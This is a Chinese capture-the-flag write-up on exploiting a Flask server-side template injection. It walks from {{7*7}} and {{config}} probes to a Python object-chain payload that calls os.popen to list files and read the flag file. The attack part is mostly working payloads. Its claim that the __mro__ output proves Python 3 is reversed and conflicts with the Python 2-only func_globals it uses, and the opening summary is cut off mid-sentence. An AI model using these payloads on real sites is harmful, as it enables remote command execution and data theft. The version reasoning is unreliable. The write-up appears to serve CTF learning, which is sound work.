攻防世界——Web_python_template_injection
本文介绍了Python模板注入漏洞的利用过程。通过测试发现网站存在Flask框架的模板注入漏洞,利用{{7*7}}和{{config}}确认漏洞存在。进一步通过Python对象继承链获取os模块引用,最终使用第59个子类的os.popen方法执行系统命令,成功读取fl4g文件获取flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}。整个过程展示了从漏洞发现到
打开靶机后页面有一段文字
python template injection
翻译过来是python模板注入

寻找注入点
随便写点东西
发现页面会直接返回我们输入的数据
那就说明注入点就在”/“后面

测试注入点
注入{{7*7}}
发现能够成功返回结果

查找模板类型
注入{{config}}
发现成功返回上下文配置
说明这是Flask框架
Flask框架默认有一个config对象,里面会包含全局的配置

测试基类
注入{{''.__class__.__mro__[2]}}
发现成功返回,并且知道这里用的是python3
python2的.__mro__方法只有两个,python3有三个

获取子类
注入{{''.__class__.__mro__[2].__subclasses__()}}

在返回的子类中寻找warnings.catch_warnings类
这里我写了一个脚本对其进行了格式化并且添加了索引
发现在第59行

利用os类执行命令寻找flag
注入
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()
列出当前目录下的文件
发现有一个长得很像flag的fl4g文件
.__init__
访问对象的构造函数/初始化方法
.func_globals (Python 2) / .__globals__ (Python 3)
作用:获取函数的全局命名空间字典
Python 2中使用func_globals
Python 3中已改为__globals__
.linecache
作用:从全局命名空间中获取linecache模块
.os
作用:获取os模块的引用

获取fl4g文件
注入
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('cat fl4g').read()
成功找到lfag

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。
更多推荐
所有评论(0)